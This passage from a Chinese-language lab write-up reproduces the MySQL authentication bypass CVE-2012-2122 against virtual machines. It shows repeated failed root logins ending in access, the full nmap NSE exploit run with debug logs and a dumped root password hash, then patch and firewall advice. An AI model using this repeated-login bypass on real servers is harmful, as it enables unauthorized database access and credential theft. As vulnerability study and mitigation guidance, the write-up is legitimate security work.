Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) ERROR 1045 (28000): Access denied for user ‘root‘@‘192.168.118.128‘ (using password: YES) Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MariaDB monitor. Commands end with ; or g. Your MySQL connection id is 2697 Server version: 5.5.23 Source distribution Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. Type ‘help;‘ or ‘h‘ for help. Type ‘c‘ to clear the current input statement. MySQL [mysql]>
4、nmap script(mysql-vuln-cve2012-2122):
[email protected]:~# nmap -sV -T4 -p3306 --script=mysql-vuln-cve2012-2122 192.168.118.130 Starting Nmap 7.40 ( https://nmap.org ) at 2018-08-29 16:07 CST Nmap scan report for bogon (192.168.118.130) Host is up (0.00033s latency). PORT STATE SERVICE VERSION 3306/tcp open mysql MySQL 5.5.23 | mysql-vuln-cve2012-2122: | VULNERABLE: | Authentication bypass in MySQL servers. | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2012-2122 | When a user connects to MariaDB/MySQL, a token (SHA | over a password and a random scramble string) is calculated and compared | with the expected value. Because of incorrect casting, it might‘ve | happened that the token and the expected value were considered equal, | even if the memcmp() returned a non-zero value. In this case | MySQL/MariaDB would think that the password is correct, even while it is | not. Because the protocol uses random strings, the probability of | hitting this bug is about 1/256. | Which means, if one knows a user name to connect (and "root" almost | always exists), she can connect using *any* password by repeating | connection attempts. ~300 attempts takes only a fraction of second, so | basically account password protection is as good as nonexistent. | | Disclosure date: 2012-06-9 | Extra information: | Server granted access at iteration #1500 | | root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 | | References: | http://seclists.org/oss-sec/2012/q2/493 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122 |_ https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql MAC Address: 00:0C:29:25:90:3B (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
-d选项来查看debug信息,查看具体的信息如下:
[email protected]:~# nmap -sV -T4 -p3306 -d --script=mysql-vuln-cve2012-2122 192.168.118.130 Starting Nmap 7.40 ( https://nmap.org ) at 2018-08-29 16:13 CST --------------- Timing report --------------- hostgroups: min 1, max 100000 rtt-timeouts: init 500, min 100, max 1250 max-scan-delay: TCP 10, UDP 1000, SCTP 10 parallelism: min 0, max 0 max-retries: 6, host-timeout: 0 min-rate: 0, max-rate: 0 --------------------------------------------- NSE: Using Lua 5.3. NSE: Arguments from CLI: NSE: Loaded 41 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 16:13 Completed NSE at 16:13, 0.00s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 16:13 Completed NSE at 16:13, 0.00s elapsed Initiating ARP Ping Scan at 16:13 Scanning 192.168.118.130 [1 port] Packet capture filter (device eth0): arp and arp[18:4] = 0x000C29A8 and arp[22:2] = 0x84F5 Completed ARP Ping Scan at 16:13, 0.03s elapsed (1 total hosts) Overall sending rates: 29.01 packets / s, 1218.42 bytes / s. mass_rdns: Using DNS server 192.168.118.2 Initiating Parallel DNS resolution of 1 host. at 16:13 mass_rdns: 0.00s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1] Completed Parallel DNS resolution of 1 host. at 16:13, 0.00s elapsed DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 16:13 Scanning bogon (192.168.118.130) [1 port] Packet capture filter (device eth0): dst host 192.168.118.128 and (icmp or icmp6 or ((tcp or udp or sctp) and (src host 192.168.118.130))) Discovered open port 3306/tcp on 192.168.118.130 Completed SYN Stealth Scan at 16:13, 0.04s elapsed (1 total ports) Overall sending rates: 23.44 packets / s, 1031.36 bytes / s. Initiating Service scan at 16:13 Scanning 1 service on bogon (192.168.118.130) Completed Service scan at 16:13, 0.00s elapsed (1 service on 1 host) NSE: Script scanning 192.168.118.130. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 16:13 NSE: Starting mysql-vuln-cve2012-2122 against 192.168.118.130:3306. NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #1 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #2 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #3 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #4 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #5 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #6 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #7 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #8 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #9 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #10 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #11 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #12 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #13 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #14 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #15 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #16 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #17 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #18 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #19 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #20 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #21 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #22 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #23 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #24 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #25 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #26 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #27 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #28 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #29 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #30 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #31 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #32 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #33 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #34 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #35 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #36 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #37 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #38 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #39 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #40 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #41 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #42 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #43 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #44 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #45 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #46 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #47 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #48 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #49 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #50 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #51 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #52 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #53 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #54 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #55 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #56 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #57 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #58 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #59 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #60 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #61 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #62 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #63 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #64 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #65 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #66 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #67 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #68 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #69 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #70 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #71 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #72 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #73 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #74 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #75 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #76 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #77 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #78 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #79 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #80 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #81 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #82 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #83 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #84 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #85 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #86 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #87 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #88 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #89 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #90 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #91 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #92 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #93 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #94 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #95 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #96 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #97 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #98 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #99 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #100 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #101 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #102 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #103 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #104 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #105 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #106 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #107 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #108 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #109 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #110 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #111 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #112 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #113 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #114 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #115 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #116 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #117 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #118 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #119 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #120 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #121 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #122 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #123 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #124 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #125 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #126 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #127 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #128 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #129 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #130 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #131 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #132 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #133 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #134 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #135 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #136 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #137 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #138 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #139 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #140 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #141 NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #142 NSE: Finished mysql-vuln-cve2012-2122 against 192.168.118.130:3306. Completed NSE at 16:13, 0.42s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 16:13 Completed NSE at 16:13, 0.00s elapsed Nmap scan report for bogon (192.168.118.130) Host is up, received arp-response (0.00068s latency). Scanned at 2018-08-29 16:13:26 CST for 1s PORT STATE SERVICE REASON VERSION 3306/tcp open mysql syn-ack ttl 63 MySQL 5.5.23 | mysql-vuln-cve2012-2122: | VULNERABLE: | Authentication bypass in MySQL servers. | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2012-2122 | When a user connects to MariaDB/MySQL, a token (SHA | over a password and a random scramble string) is calculated and compared | with the expected value. Because of incorrect casting, it might‘ve | happened that the token and the expected value were considered equal, | even if the memcmp() returned a non-zero value. In this case | MySQL/MariaDB would think that the password is correct, even while it is | not. Because the protocol uses random strings, the probability of | hitting this bug is about 1/256. | Which means, if one knows a user name to connect (and "root" almost | always exists), she can connect using *any* password by repeating | connection attempts. ~300 attempts takes only a fraction of second, so | basically account password protection is as good as nonexistent. | | Disclosure date: 2012-06-9 | Extra information: | Server granted access at iteration #1500 | | root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 | | References: | http://seclists.org/oss-sec/2012/q2/493 | https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122 MAC Address: 00:0C:29:25:90:3B (VMware) Final times for host: srtt: 677 rttvar: 3967 to: 100000 NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 16:13 Completed NSE at 16:13, 0.00s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 16:13 Completed NSE at 16:13, 0.00s elapsed Read from /usr/bin/../share/nmap: nmap-mac-prefixes nmap-payloads nmap-service-probes nmap-services. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.96 seconds Raw packets sent: 2 (72B) | Rcvd: 2 (72B) [email protected]:~#
四、漏洞修复建议
升级官方补丁:
MariaDB 5.1.62, 5.2.12, 5.3.6, 5.5.23
MySQL 5.1.63, 5.5.24, 5.6.6
Sebug临时解决办法:
在防火墙上关闭mysql端口
参考:
http://www.freebuf.com/vuls/3815.html
http://blog.51cto.com/linuxgeek/998210
https://www.exploit-db.com/exploits/19092/
https://github.com/vulhub/vulhub/tree/master/mysql/CVE-2012-2122
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
Next:
1、分析mysql源码 http://blog.51cto.com/linuxgeek/998210进一步的学习
2、分析nmap、metasploit脚本提高脚本编写能力
3、漏洞环境复现,目前在官方下载了对应有漏洞的mysql版本并安装在Windows下,但是并没有复现成功!
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